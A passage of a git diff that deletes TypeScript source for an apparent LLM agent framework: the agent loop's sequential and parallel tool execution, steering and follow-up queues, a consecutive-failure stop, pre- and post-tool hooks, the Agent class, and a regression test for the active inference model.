externalResult.details ?? {}, - } - : { - content: [{ type: "text", text: "(executed by provider)" }], - details: {}, - }, - isError: externalResult?.isError ?? false, - }); - } - // Don't add tool results to context or loop back — the streamSimple - // call already ran the full multi-turn agentic loop. - hasMoreToolCalls = false; - } else if (hasMoreToolCalls) { - const toolExecution = await executeToolCalls( - currentContext, - message, - config, - signal, - stream, - ); - toolResults.push(...toolExecution.toolResults); - steeringAfterTools = toolExecution.steeringMessages ?? null; - - for (const result of toolResults) { - currentContext.messages.push(result); - newMessages.push(result); - } - - // Schema overload detection (#2783): count only preparation-phase - // errors (schema validation, tool-not-found, tool-blocked) toward the - // consecutive failure cap. Tool execution errors — such as bash - // commands returning non-zero exit codes (e.g. grep/rg exit 1 for - // "no matches") — are valid tool usage and must NOT trigger the cap. - // See: #3618 - const hasPreparationErrors = toolExecution.preparationErrorCount > 0; - const allToolsFailedPreparation = - toolResults.length > 0 && - toolExecution.preparationErrorCount === toolResults.length; - if (allToolsFailedPreparation) { - consecutiveAllToolErrorTurns++; - } else if (!hasPreparationErrors) { - // Reset only when there are zero preparation errors this turn. - // Mixed turns (some prep errors, some successes) don't reset, - // but they also don't increment — this avoids masking a - // pattern of alternating schema failures with one working call. - consecutiveAllToolErrorTurns = 0; - } - - if ( - consecutiveAllToolErrorTurns >= MAX_CONSECUTIVE_VALIDATION_FAILURES - ) { - // Force-stop: the LLM is stuck retrying broken tool calls. - // Emit the turn_end and terminate the agent loop cleanly. - stream.push({ type: "turn_end", message, toolResults }); - const stopMessage: AssistantMessage = { - role: "assistant", - content: [ - { - type: "text", - text: `Agent stopped: ${consecutiveAllToolErrorTurns} consecutive turns with all tool calls failing. This usually means the model is repeatedly sending arguments that do not match the tool schema.`, - }, - ], - api: config.model.api, - provider: config.model.provider, - model: config.model.id, - usage: ZERO_USAGE, - stopReason: "error", - errorMessage: - "Schema overload: consecutive tool validation failures exceeded cap", - timestamp: Date.now(), - }; - emitMessagePair(stream, stopMessage); - newMessages.push(stopMessage); - stream.push({ - type: "turn_end", - message: stopMessage, - toolResults: [], - }); - stream.push({ type: "agent_end", messages: newMessages }); - stream.end(newMessages); - return; - } - } - - stream.push({ type: "turn_end", message, toolResults }); - - // Get steering messages after turn completes - if (steeringAfterTools && steeringAfterTools.length > 0) { - pendingMessages = steeringAfterTools; - steeringAfterTools = null; - } else { - pendingMessages = (await config.getSteeringMessages?.()) || []; - } - } - - // Agent would stop here. Check for follow-up messages. - const followUpMessages = (await config.getFollowUpMessages?.()) || []; - if (followUpMessages.length > 0) { - // Set as pending so inner loop processes them - pendingMessages = followUpMessages; - continue; - } - - // No more messages, exit - break; - } - - stream.push({ type: "agent_end", messages: newMessages }); - stream.end(newMessages); -} - -/** - * Stream an assistant response from the LLM. - * This is where AgentMessage[] gets transformed to Message[] for the LLM. - */ -async function streamAssistantResponse( - context: AgentContext, - config: AgentLoopConfig, - signal: AbortSignal | undefined, - stream: EventStream, - streamFn?: StreamFn, -): Promise { - // Apply context transform if configured (AgentMessage[] → AgentMessage[]) - let messages = context.messages; - if (config.transformContext) { - messages = await config.transformContext(messages, signal); - } - - // Convert to LLM-compatible messages (AgentMessage[] → Message[]) - const llmMessages = await config.convertToLlm(messages); - - // Build LLM context - const llmContext: Context = { - systemPrompt: context.systemPrompt, - messages: llmMessages, - tools: context.tools, - }; - - const streamFunction = streamFn || streamSimple; - - // Resolve API key (important for expiring tokens) - const resolvedApiKey = - (config.getApiKey - ? await config.getApiKey(config.model.provider) - : undefined) || config.apiKey; - - const response = await streamFunction(config.model, llmContext, { - ...config, - apiKey: resolvedApiKey, - signal, - }); - - let partialMessage: AssistantMessage | null = null; - let addedPartial = false; - - for await (const event of response) { - switch (event.type) { - case "start": - partialMessage = event.partial; - context.messages.push(partialMessage); - addedPartial = true; - stream.push({ type: "message_start", message: { ...partialMessage } }); - break; - - case "text_start": - case "text_delta": - case "text_end": - case "thinking_start": - case "thinking_delta": - case "thinking_end": - case "toolcall_start": - case "toolcall_delta": - case "toolcall_end": - case "server_tool_use": - case "web_search_result": - if (partialMessage) { - partialMessage = event.partial; - context.messages[context.messages.length - 1] = partialMessage; - stream.push({ - type: "message_update", - assistantMessageEvent: event, - message: { ...partialMessage }, - }); - - // Predictive Execution: stream hook for pre-fetching - if ( - config.onStreamChunk && - (event.type === "text_delta" || event.type === "thinking_delta") - ) { - try { - config.onStreamChunk(event.delta, context); - } catch { - // Predictive hooks are advisory; never let prefetch/critic - // failures interrupt provider streaming. - } - } - } - break; - - case "done": - case "error": { - const finalMessage = await response.result(); - if (addedPartial) { - context.messages[context.messages.length - 1] = finalMessage; - } else { - context.messages.push(finalMessage); - } - if (!addedPartial) { - stream.push({ type: "message_start", message: { ...finalMessage } }); - } - stream.push({ type: "message_end", message: finalMessage }); - return finalMessage; - } - } - } - - return await response.result(); -} - -/** - * Result from executing tool calls in a turn. Includes metadata about - * error provenance so the schema overload detector can distinguish - * preparation failures (schema validation, tool-not-found, tool-blocked) - * from execution failures (the tool ran but threw, e.g. bash exit code 1). - */ -interface ToolExecutionResult { - toolResults: ToolResultMessage[]; - steeringMessages?: AgentMessage[]; - /** Number of tool results that failed during preparation (validation/schema). */ - preparationErrorCount: number; -} - -function hasUserSteeringMessage(messages: readonly AgentMessage[]): boolean { - return messages.some((message) => message.role === "user"); -} - -/** - * Execute tool calls from an assistant message. - */ -async function executeToolCalls( - currentContext: AgentContext, - assistantMessage: AssistantMessage, - config: AgentLoopConfig, - signal: AbortSignal | undefined, - stream: EventStream, -): Promise { - const toolCalls = assistantMessage.content.filter( - (c) => c.type === "toolCall", - ) as AgentToolCall[]; - if (config.toolExecution === "sequential") { - return executeToolCallsSequential( - currentContext, - assistantMessage, - toolCalls, - config, - signal, - stream, - ); - } - return executeToolCallsParallel( - currentContext, - assistantMessage, - toolCalls, - config, - signal, - stream, - ); -} - -async function executeToolCallsSequential( - currentContext: AgentContext, - assistantMessage: AssistantMessage, - toolCalls: AgentToolCall[], - config: AgentLoopConfig, - signal: AbortSignal | undefined, - stream: EventStream, -): Promise { - const results: ToolResultMessage[] = []; - let steeringMessages: AgentMessage[] | undefined; - let preparationErrorCount = 0; - const interruptOnSteering = config.interruptToolExecutionOnSteering === true; - - for (let index = 0; index < toolCalls.length; index++) { - const toolCall = toolCalls[index]; - stream.push({ - type: "tool_execution_start", - toolCallId: toolCall.id, - toolName: toolCall.name, - args: toolCall.arguments, - }); - - const preparation = await prepareToolCall( - currentContext, - assistantMessage, - toolCall, - config, - signal, - ); - if (preparation.kind === "immediate") { - if (preparation.isError) { - preparationErrorCount++; - } - results.push( - emitToolCallOutcome( - toolCall, - preparation.result, - preparation.isError, - stream, - ), - ); - } else { - const executed = await executePreparedToolCall( - preparation, - signal, - stream, - ); - results.push( - await finalizeExecutedToolCall( - currentContext, - assistantMessage, - preparation, - executed, - config, - signal, - stream, - ), - ); - } - - if (config.getSteeringMessages) { - const steering = await config.getSteeringMessages(); - if (steering.length > 0) { - steeringMessages = [...(steeringMessages ?? []), ...steering]; - if (interruptOnSteering && hasUserSteeringMessage(steering)) { - const remainingCalls = toolCalls.slice(index + 1); - for (const skipped of remainingCalls) { - results.push(skipToolCall(skipped, stream)); - } - break; - } - } - } - } - - return { toolResults: results, steeringMessages, preparationErrorCount }; -} - -async function executeToolCallsParallel( - currentContext: AgentContext, - assistantMessage: AssistantMessage, - toolCalls: AgentToolCall[], - config: AgentLoopConfig, - signal: AbortSignal | undefined, - stream: EventStream, -): Promise { - const results: ToolResultMessage[] = []; - const runnableCalls: PreparedToolCall[] = []; - let steeringMessages: AgentMessage[] | undefined; - let preparationErrorCount = 0; - const interruptOnSteering = config.interruptToolExecutionOnSteering === true; - - for (let index = 0; index < toolCalls.length; index++) { - const toolCall = toolCalls[index]; - stream.push({ - type: "tool_execution_start", - toolCallId: toolCall.id, - toolName: toolCall.name, - args: toolCall.arguments, - }); - - const preparation = await prepareToolCall( - currentContext, - assistantMessage, - toolCall, - config, - signal, - ); - if (preparation.kind === "immediate") { - if (preparation.isError) { - preparationErrorCount++; - } - results.push( - emitToolCallOutcome( - toolCall, - preparation.result, - preparation.isError, - stream, - ), - ); - } else { - runnableCalls.push(preparation); - } - - if (config.getSteeringMessages) { - const steering = await config.getSteeringMessages(); - if (steering.length > 0) { - steeringMessages = [...(steeringMessages ?? []), ...steering]; - if (interruptOnSteering && hasUserSteeringMessage(steering)) { - for (const runnable of runnableCalls) { - results.push( - skipToolCall(runnable.toolCall, stream, { emitStart: false }), - ); - } - const remainingCalls = toolCalls.slice(index + 1); - for (const skipped of remainingCalls) { - results.push(skipToolCall(skipped, stream)); - } - return { - toolResults: results, - steeringMessages, - preparationErrorCount, - }; - } - } - } - } - - const runningCalls = runnableCalls.map((prepared) => ({ - prepared, - execution: executePreparedToolCall(prepared, signal, stream), - })); - - for (const running of runningCalls) { - const executed = await running.execution; - results.push( - await finalizeExecutedToolCall( - currentContext, - assistantMessage, - running.prepared, - executed, - config, - signal, - stream, - ), - ); - } - - if (!steeringMessages && config.getSteeringMessages) { - const steering = await config.getSteeringMessages(); - if (steering.length > 0) { - steeringMessages = steering; - } - } - - return { toolResults: results, steeringMessages, preparationErrorCount }; -} - -type PreparedToolCall = { - kind: "prepared"; - toolCall: AgentToolCall; - tool: AgentTool; - args: unknown; -}; - -type ImmediateToolCallOutcome = { - kind: "immediate"; - result: AgentToolResult; - isError: boolean; -}; - -type ExecutedToolCallOutcome = { - result: AgentToolResult; - isError: boolean; -}; - -async function prepareToolCall( - currentContext: AgentContext, - assistantMessage: AssistantMessage, - toolCall: AgentToolCall, - config: AgentLoopConfig, - signal: AbortSignal | undefined, -): Promise { - const tool = currentContext.tools?.find((t) => t.name === toolCall.name); - if (!tool) { - return { - kind: "immediate", - result: createErrorToolResult(`Tool ${toolCall.name} not found`), - isError: true, - }; - } - - try { - const validatedArgs = validateToolArguments(tool, toolCall); - if (config.beforeToolCall) { - const beforeResult = await config.beforeToolCall( - { - assistantMessage, - toolCall, - args: validatedArgs, - context: currentContext, - }, - signal, - ); - if (beforeResult?.block) { - return { - kind: "immediate", - result: createErrorToolResult( - beforeResult.reason || "Tool execution was blocked", - ), - isError: true, - }; - } - } - return { - kind: "prepared", - toolCall, - tool, - args: validatedArgs, - }; - } catch (error) { - return { - kind: "immediate", - result: createErrorToolResult( - error instanceof Error ? error.message : String(error), - ), - isError: true, - }; - } -} - -async function executePreparedToolCall( - prepared: PreparedToolCall, - signal: AbortSignal | undefined, - stream: EventStream, -): Promise { - try { - const result = await prepared.tool.execute( - prepared.toolCall.id, - prepared.args as never, - signal, - (partialResult) => { - stream.push({ - type: "tool_execution_update", - toolCallId: prepared.toolCall.id, - toolName: prepared.toolCall.name, - args: prepared.toolCall.arguments, - partialResult, - }); - }, - ); - return { result, isError: false }; - } catch (error) { - return { - result: createErrorToolResult( - error instanceof Error ? error.message : String(error), - ), - isError: true, - }; - } -} - -async function finalizeExecutedToolCall( - currentContext: AgentContext, - assistantMessage: AssistantMessage, - prepared: PreparedToolCall, - executed: ExecutedToolCallOutcome, - config: AgentLoopConfig, - signal: AbortSignal | undefined, - stream: EventStream, -): Promise { - let result = executed.result; - let isError = executed.isError; - - if (config.afterToolCall) { - try { - const afterResult = await config.afterToolCall( - { - assistantMessage, - toolCall: prepared.toolCall, - args: prepared.args, - result, - isError, - context: currentContext, - }, - signal, - ); - if (afterResult) { - result = { - content: - afterResult.content !== undefined - ? afterResult.content - : result.content, - details: - afterResult.details !== undefined - ? afterResult.details - : result.details, - }; - isError = - afterResult.isError !== undefined ? afterResult.isError : isError; - } - } catch (error) { - result = createErrorToolResult( - error instanceof Error ? error.message : String(error), - ); - isError = true; - } - } - - return emitToolCallOutcome(prepared.toolCall, result, isError, stream); -} - -function createErrorToolResult(message: string): AgentToolResult { - return { - content: [{ type: "text", text: message }], - details: {}, - }; -} - -function emitToolCallOutcome( - toolCall: AgentToolCall, - result: AgentToolResult, - isError: boolean, - stream: EventStream, -): ToolResultMessage { - stream.push({ - type: "tool_execution_end", - toolCallId: toolCall.id, - toolName: toolCall.name, - result, - isError, - }); - - const toolResultMessage: ToolResultMessage = { - role: "toolResult", - toolCallId: toolCall.id, - toolName: toolCall.name, - content: result.content, - details: result.details, - isError, - timestamp: Date.now(), - }; - - emitMessagePair(stream, toolResultMessage); - return toolResultMessage; -} - -function skipToolCall( - toolCall: AgentToolCall, - stream: EventStream, - options?: { emitStart?: boolean }, -): ToolResultMessage { - const result: AgentToolResult = { - content: [{ type: "text", text: "Skipped due to queued user message." }], - details: {}, - }; - - if (options?.emitStart !== false) { - stream.push({ - type: "tool_execution_start", - toolCallId: toolCall.id, - toolName: toolCall.name, - args: toolCall.arguments, - }); - } - - return emitToolCallOutcome(toolCall, result, true, stream); -} diff --git a/packages/pi-agent-core/src/agent.test.ts b/packages/pi-agent-core/src/agent.test.ts deleted file mode 100644 index 5c23480eb..000000000 --- a/packages/pi-agent-core/src/agent.test.ts +++ /dev/null @@ -1,190 +0,0 @@ -// Agent activeInferenceModel regression tests -// Verifies that activeInferenceModel is set/cleared correctly in _runLoop, -// and that the footer reads activeInferenceModel instead of state.model. -// Regression test for https://github.com/singularity-forge/sf-run/issues/1844 Bug 2 - -import assert from "node:assert/strict"; -import { readFileSync } from "node:fs"; -import { dirname, join } from "node:path"; -import { fileURLToPath } from "node:url"; -import { - type AssistantMessageEventStream, - getModel, -} from "@singularity-forge/pi-ai"; -import { describe, it } from "vitest"; -import { Agent } from "./agent.ts"; - -const __dirname = dirname(fileURLToPath(import.meta.url)); - -describe("Agent — activeInferenceModel (#1844 Bug 2)", () => { - it("activeInferenceModel is declared in AgentState interface", () => { - const typesSource = readFileSync(join(__dirname, "types.ts"), "utf-8"); - assert.match( - typesSource, - /activeInferenceModel\??:\s*Model/, - "AgentState must declare activeInferenceModel field", - ); - }); - - it("_runLoop sets activeInferenceModel before streaming and clears in finally", () => { - const agentSource = readFileSync(join(__dirname, "agent.ts"), "utf-8"); - - // Must set activeInferenceModel = model before streaming starts - const setLine = agentSource.indexOf( - "this._state.activeInferenceModel = model", - ); - assert.ok( - setLine > -1, - "agent.ts must set activeInferenceModel = model in _runLoop", - ); - - // Must clear activeInferenceModel = undefined after streaming completes - const clearLine = agentSource.indexOf( - "this._state.activeInferenceModel = undefined", - ); - assert.ok( - clearLine > -1, - "agent.ts must clear activeInferenceModel in finally block", - ); - - // The set must come before the clear - assert.ok( - setLine < clearLine, - "activeInferenceModel must be set before cleared", - ); - }); - - it("footer displays activeInferenceModel instead of state.model", () => { - const footerPath = join( - __dirname, - "..", - "..", - "pi-coding-agent", - "src", - "modes", - "interactive", - "components", - "footer.ts", - ); - const footerSource = readFileSync(footerPath, "utf-8"); - assert.match( - footerSource, - /activeInferenceModel/, - "footer.ts must reference activeInferenceModel for display", - ); - }); - - it("activeInferenceModel is set before AbortController creation", () => { - const agentSource = readFileSync(join(__dirname, "agent.ts"), "utf-8"); - - const setLine = agentSource.indexOf( - "this._state.activeInferenceModel = model", - ); - const abortLine = agentSource.indexOf( - "this.abortController = new AbortController", - ); - assert.ok(setLine > -1 && abortLine > -1); - assert.ok( - setLine < abortLine, - "activeInferenceModel must be set before streaming infrastructure is created", - ); - }); - - it("getProviderOptions are forwarded into the provider stream call", async () => { - let capturedOptions: Record | undefined; - const agent = new Agent({ - initialState: { - model: getModel("anthropic", "claude-3-5-sonnet-20241022"), - systemPrompt: "test", - tools: [], - }, - getProviderOptions: async () => ({ customRuntimeOption: "present" }), - streamFn: (_model, _context, options): AssistantMessageEventStream => { - capturedOptions = options as Record | undefined; - return { - async *[Symbol.asyncIterator]() { - yield { - type: "start", - partial: { - role: "assistant", - content: [], - api: "anthropic-messages", - provider: "anthropic", - model: "claude-3-5-sonnet-20241022", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - total: 0, - }, - }, - stopReason: "stop", - timestamp: Date.now(), - }, - }; - yield { - type: "done", - message: { - role: "assistant", - content: [{ type: "text", text: "ok" }], - api: "anthropic-messages", - provider: "anthropic", - model: "claude-3-5-sonnet-20241022", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - total: 0, - }, - }, - stopReason: "stop", - timestamp: Date.now(), - }, - }; - }, - result: async () => ({ - role: "assistant", - content: [{ type: "text", text: "ok" }], - api: "anthropic-messages", - provider: "anthropic", - model: "claude-3-5-sonnet-20241022", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - total: 0, - }, - }, - stopReason: "stop", - timestamp: Date.now(), - }), - [Symbol.asyncDispose]: async () => {}, - } as AssistantMessageEventStream; - }, - }); - - await agent.prompt("hello"); - assert.equal(capturedOptions?.customRuntimeOption, "present"); - }); -}); diff --git a/packages/pi-agent-core/src/agent.ts b/packages/pi-agent-core/src/agent.ts deleted file mode 100644 index 519311c54..000000000 --- a/packages/pi-agent-core/src/agent.ts +++ /dev/null @@ -1,688 +0,0 @@ -/** - * Agent class that uses the agent-loop directly. - * No transport abstraction - calls streamSimple via the loop. - */ - -import { - getModel, - type ImageContent, - type Message, - type Model, - type SimpleStreamOptions, - streamSimple, - type TextContent, - type ThinkingBudgets, - type Transport, -} from "@singularity-forge/pi-ai"; -import { agentLoop, agentLoopContinue, ZERO_USAGE } from "./agent-loop.js"; -import type { - AgentContext, - AgentEvent, - AgentLoopConfig, - AgentMessage, - AgentState, - AgentTool, - StreamFn, - ThinkingLevel, -} from "./types.js"; - -/** - * Default convertToLlm: Keep only LLM-compatible messages, convert attachments. - */ -function defaultConvertToLlm(messages: AgentMessage[]): Message[] { - return messages.filter( - (m) => - m.role === "user" || m.role === "assistant" || m.role === "toolResult", - ); -} - -export interface AgentOptions { - initialState?: Partial; - - /** - * Converts AgentMessage[] to LLM-compatible Message[] before each LLM call. - * Default filters to user/assistant/toolResult and converts attachments. - */ - convertToLlm?: (messages: AgentMessage[]) => Message[] | Promise; - - /** - * Optional transform applied to context before convertToLlm. - * Use for context pruning, injecting external context, etc. - */ - transformContext?: ( - messages: AgentMessage[], - signal?: AbortSignal, - ) => Promise; - - /** - * Steering mode: "all" = send all steering messages at once, "one-at-a-time" = one per turn - */ - steeringMode?: "all" | "one-at-a-time"; - - /** - * Whether steering messages interrupt the current assistant tool batch. - * Defaults to false so user comments are absorbed at the next safe boundary. - */ - interruptToolExecutionOnSteering?: boolean; - - /** - * Follow-up mode: "all" = send all follow-up messages at once, "one-at-a-time" = one per turn - */ - followUpMode?: "all" | "one-at-a-time"; - - /** - * Custom stream function (for proxy backends, etc.). Default uses streamSimple. - */ - streamFn?: StreamFn; - - /** - * Optional session identifier forwarded to LLM providers. - * Used by providers that support session-based caching (e.g., OpenAI Codex). - */ - sessionId?: string; - - /** - * Resolves an API key dynamically for each LLM call. - * Useful for expiring tokens (e.g., GitHub Copilot OAuth). - */ - getApiKey?: ( - provider: string, - ) => Promise | string | undefined; - - /** - * Inspect or replace provider payloads before they are sent. - */ - onPayload?: SimpleStreamOptions["onPayload"]; - - /** - * Custom token budgets for thinking levels (token-based providers only). - */ - thinkingBudgets?: ThinkingBudgets; - - /** - * Preferred transport for providers that support multiple transports. - */ - transport?: Transport; - - /** - * Maximum delay in milliseconds to wait for a retry when the server requests a long wait. - * If the server's requested delay exceeds this value, the request fails immediately, - * allowing higher-level retry logic to handle it with user visibility. - * Default: 60000 (60 seconds). Set to 0 to disable the cap. - */ - maxRetryDelayMs?: number; - - /** - * Determines whether a model uses external tool execution (tools handled - * by the provider, not dispatched locally). Evaluated per-loop so model - * switches mid-session are handled correctly. - */ - externalToolExecution?: (model: Model) => boolean; - - /** - * Optional provider-specific options to merge into the next stream call. - * - * Use this for runtime-only callbacks or handles that should not live in - * shared agent state, such as UI bridges for external CLI providers. - */ - getProviderOptions?: ( - model: Model, - ) => - | Record - | undefined - | Promise | undefined>; -} - -/** - * Internal wrapper that tracks message origin for origin-aware queue clearing. - * "user" = typed by human in TUI; "system" = generated by extensions/background jobs. - */ -interface QueueEntry { - message: AgentMessage; - origin: "user" | "system"; -} - -export class Agent { - private _state: AgentState = { - systemPrompt: "", - model: getModel("google", "gemini-2.5-flash-lite-preview-06-17"), - thinkingLevel: "off", - tools: [], - messages: [], - isStreaming: false, - streamMessage: null, - pendingToolCalls: new Set(), - error: undefined, - }; - - private listeners = new Set<(e: AgentEvent) => void>(); - private abortController?: AbortController; - private convertToLlm: ( - messages: AgentMessage[], - ) => Message[] | Promise; - private transformContext?: ( - messages: AgentMessage[], - signal?: AbortSignal, - ) => Promise; - private steeringQueue: QueueEntry[] = []; - private followUpQueue: QueueEntry[] = []; - private steeringMode: "all" | "one-at-a-time"; - private followUpMode: "all" | "one-at-a-time"; - public streamFn: StreamFn; - private _sessionId?: string; - public getApiKey?: ( - provider: string, - ) => Promise | string | undefined; - private _onPayload?: SimpleStreamOptions["onPayload"]; - private runningPrompt?: Promise; - private resolveRunningPrompt?: () => void; - private _thinkingBudgets?: ThinkingBudgets; - private _transport: Transport; - private _maxRetryDelayMs?: number; - private _beforeToolCall?: AgentLoopConfig["beforeToolCall"]; - private _afterToolCall?: AgentLoopConfig["afterToolCall"]; - private _externalToolExecution?: (model: Model) => boolean; - private _getProviderOptions?: AgentOptions["getProviderOptions"]; - private _interruptToolExecutionOnSteering: boolean; - - constructor(opts: AgentOptions = {}) { - this._state = { ...this._state, ...opts.initialState }; - this.convertToLlm = opts.convertToLlm || defaultConvertToLlm; - this.transformContext = opts.transformContext; - this.steeringMode = opts.steeringMode || "one-at-a-time"; - this.followUpMode = opts.followUpMode || "one-at-a-time"; - this.streamFn = opts.streamFn || streamSimple; - this._sessionId = opts.sessionId; - this.getApiKey = opts.getApiKey; - this._onPayload = opts.onPayload; - this._thinkingBudgets = opts.thinkingBudgets; - this._transport = opts.transport ?? "sse"; - this._maxRetryDelayMs = opts.maxRetryDelayMs; - this._externalToolExecution = opts.externalToolExecution; - this._getProviderOptions = opts.getProviderOptions; - this._interruptToolExecutionOnSteering = - opts.interruptToolExecutionOnSteering ?? false; - } - - /** - * Get the current session ID used for provider caching. - */ - get sessionId(): string | undefined { - return this._sessionId; - } - - /** - * Set the session ID for provider caching. - * Call this when switching sessions (new session, branch, resume). - */ - set sessionId(value: string | undefined) { - this._sessionId = value; - } - - /** - * Get the current thinking budgets. - */ - get thinkingBudgets(): ThinkingBudgets | undefined { - return this._thinkingBudgets; - } - - /** - * Set custom thinking budgets for token-based providers. - */ - set thinkingBudgets(value: ThinkingBudgets | undefined) { - this._thinkingBudgets = value; - } - - /** - * Get the current preferred transport. - */ - get transport(): Transport { - return this._transport; - } - - /** - * Set the preferred transport. - */ - setTransport(value: Transport) { - this._transport = value; - } - - /** - * Get the current max retry delay in milliseconds. - */ - get maxRetryDelayMs(): number | undefined { - return this._maxRetryDelayMs; - } - - /** - * Set the maximum delay to wait for server-requested retries. - * Set to 0 to disable the cap. - */ - set maxRetryDelayMs(value: number | undefined) { - this._maxRetryDelayMs = value; - } - - /** - * Install a hook called before each tool executes, after argument validation. - * Return `{ block: true }` to prevent execution. - */ - setBeforeToolCall(fn: AgentLoopConfig["beforeToolCall"]): void { - this._beforeToolCall = fn; - } - - /** - * Install a hook called after each tool executes, before results are emitted. - * Return field overrides for content/details/isError. - */ - setAfterToolCall(fn: AgentLoopConfig["afterToolCall"]): void { - this._afterToolCall = fn; - } - - get state(): AgentState { - return this._state; - } - - subscribe(fn: (e: AgentEvent) => void): () => void { - this.listeners.add(fn); - return () => this.listeners.delete(fn); - } - - // State mutators - setSystemPrompt(v: string) { - this._state.systemPrompt = v; - } - - setModel(m: Model) { - this._state.model = m; - } - - setThinkingLevel(l: ThinkingLevel) { - this._state.thinkingLevel = l; - } - - setSteeringMode(mode: "all" | "one-at-a-time") { - this.steeringMode = mode; - } - - getSteeringMode(): "all" | "one-at-a-time" { - return this.steeringMode; - } - - setFollowUpMode(mode: "all" | "one-at-a-time") { - this.followUpMode = mode; - } - - getFollowUpMode(): "all" | "one-at-a-time" { - return this.followUpMode; - } - - setTools(t: AgentTool[]) { - this._state.tools = t; - } - - replaceMessages(ms: AgentMessage[]) { - this._state.messages = ms.slice(); - } - - appendMessage(m: AgentMessage) { - this._state.messages = [...this._state.messages, m]; - } - - /** - * Queue a steering message for the agent mid-run. - * Delivered after the current tool batch unless interrupt behavior is explicitly enabled. - */ - steer(m: AgentMessage, origin: "user" | "system" = "system") { - this.steeringQueue.push({ message: m, origin }); - } - - /** - * Queue a follow-up message to be processed after the agent finishes. - * Delivered only when agent has no more tool calls or steering messages. - */ - followUp(m: AgentMessage, origin: "user" | "system" = "system") { - this.followUpQueue.push({ message: m, origin }); - } - - clearSteeringQueue() { - this.steeringQueue = []; - } - - clearFollowUpQueue() { - this.followUpQueue = []; - } - - clearAllQueues() { - this.steeringQueue = []; - this.followUpQueue = []; - } - - /** - * Drain user-origin messages from queues, leaving system messages in place. - * Used during abort to preserve messages the user explicitly typed. - */ - drainUserMessages(): { steering: AgentMessage[]; followUp: AgentMessage[] } { - const userSteering = this.steeringQueue - .filter((e) => e.origin === "user") - .map((e) => e.message); - const userFollowUp = this.followUpQueue - .filter((e) => e.origin === "user") - .map((e) => e.message); - this.steeringQueue = this.steeringQueue.filter((e) => e.origin !== "user"); - this.followUpQueue = this.followUpQueue.filter((e) => e.origin !== "user"); - return { steering: userSteering, followUp: userFollowUp }; - } - - hasQueuedMessages(): boolean { - return this.steeringQueue.length > 0 || this.followUpQueue.length > 0; - } - - private dequeueSteeringMessages(): AgentMessage[] { - if (this.steeringMode === "one-at-a-time") { - if (this.steeringQueue.length > 0) { - const first = this.steeringQueue[0]; - this.steeringQueue = this.steeringQueue.slice(1); - return [first.message]; - } - return []; - } - - const steering = this.steeringQueue.map((e) => e.message); - this.steeringQueue = []; - return steering; - } - - private dequeueFollowUpMessages(): AgentMessage[] { - if (this.followUpMode === "one-at-a-time") { - if (this.followUpQueue.length > 0) { - const first = this.followUpQueue[0]; - this.followUpQueue = this.followUpQueue.slice(1); - return [first.message]; - } - return []; - } - - const followUp = this.followUpQueue.map((e) => e.message); - this.followUpQueue = []; - return followUp; - } - - clearMessages() { - this._state.messages = []; - } - - abort() { - this.abortController?.abort(); - } - - waitForIdle(): Promise { - return this.runningPrompt ?? Promise.resolve(); - } - - reset() { - this._state.messages = []; - this._state.isStreaming = false; - this._state.streamMessage = null; - this._state.pendingToolCalls = new Set(); - this._state.error = undefined; - this.steeringQueue = []; - this.followUpQueue = []; - } - - /** Send a prompt with an AgentMessage */ - async prompt(message: AgentMessage | AgentMessage[]): Promise; - async prompt(input: string, images?: ImageContent[]): Promise; - async prompt( - input: string | AgentMessage | AgentMessage[], - images?: ImageContent[], - ) { - if (this._state.isStreaming) { - throw new Error( - "Agent is already processing a prompt. Please wait for it to finish before sending another message.", - ); - } - - const model = this._state.model; - if (!model) throw new Error("No model configured"); - - let msgs: AgentMessage[]; - - if (Array.isArray(input)) { - msgs = input; - } else if (typeof input === "string") { - const content: Array = [ - { type: "text", text: input }, - ]; - if (images && images.length > 0) { - content.push(...images); - } - msgs = [ - { - role: "user", - content, - timestamp: Date.now(), - }, - ]; - } else { - msgs = [input]; - } - - await this._runLoop(msgs); - } - - /** - * Continue from current context (used for retries and resuming queued messages). - */ - async continue() { - if (this._state.isStreaming) { - throw new Error( - "Agent is already processing. Wait for completion before continuing.", - ); - } - - const messages = this._state.messages; - if (messages.length === 0) { - throw new Error("No messages to continue from"); - } - if (messages[messages.length - 1].role === "assistant") { - const queuedSteering = this.dequeueSteeringMessages(); - if (queuedSteering.length > 0) { - await this._runLoop(queuedSteering, { skipInitialSteeringPoll: true }); - return; - } - - const queuedFollowUp = this.dequeueFollowUpMessages(); - if (queuedFollowUp.length > 0) { - await this._runLoop(queuedFollowUp); - return; - } - - throw new Error("Cannot continue from message role: assistant"); - } - - await this._runLoop(undefined); - } - - /** - * Run the agent loop. - * If messages are provided, starts a new conversation turn with those messages. - * Otherwise, continues from existing context. - */ - private async _runLoop( - messages?: AgentMessage[], - options?: { skipInitialSteeringPoll?: boolean }, - ) { - const model = this._state.model; - if (!model) throw new Error("No model configured"); - - this._state.activeInferenceModel = model; - - this.runningPrompt = new Promise((resolve) => { - this.resolveRunningPrompt = resolve; - }); - - this.abortController = new AbortController(); - this._state.isStreaming = true; - this._state.streamMessage = null; - this._state.error = undefined; - - const reasoning = - this._state.thinkingLevel === "off" - ? undefined - : this._state.thinkingLevel; - - const context: AgentContext = { - systemPrompt: this._state.systemPrompt, - messages: this._state.messages.slice(), - tools: this._state.tools, - }; - - let skipInitialSteeringPoll = options?.skipInitialSteeringPoll === true; - const providerOptions = await this._getProviderOptions?.(model); - - const config: AgentLoopConfig = { - ...(providerOptions ?? {}), - model, - reasoning, - sessionId: this._sessionId, - onPayload: this._onPayload, - transport: this._transport, - thinkingBudgets: this._thinkingBudgets, - maxRetryDelayMs: this._maxRetryDelayMs, - convertToLlm: this.convertToLlm, - transformContext: this.transformContext, - getApiKey: this.getApiKey, - getSteeringMessages: async () => { - if (skipInitialSteeringPoll) { - skipInitialSteeringPoll = false; - return []; - } - return this.dequeueSteeringMessages(); - }, - getFollowUpMessages: async () => this.dequeueFollowUpMessages(), - beforeToolCall: this._beforeToolCall, - afterToolCall: this._afterToolCall, - interruptToolExecutionOnSteering: this._interruptToolExecutionOnSteering, - externalToolExecution: this._externalToolExecution?.(model) ?? false, - }; - - let partial: 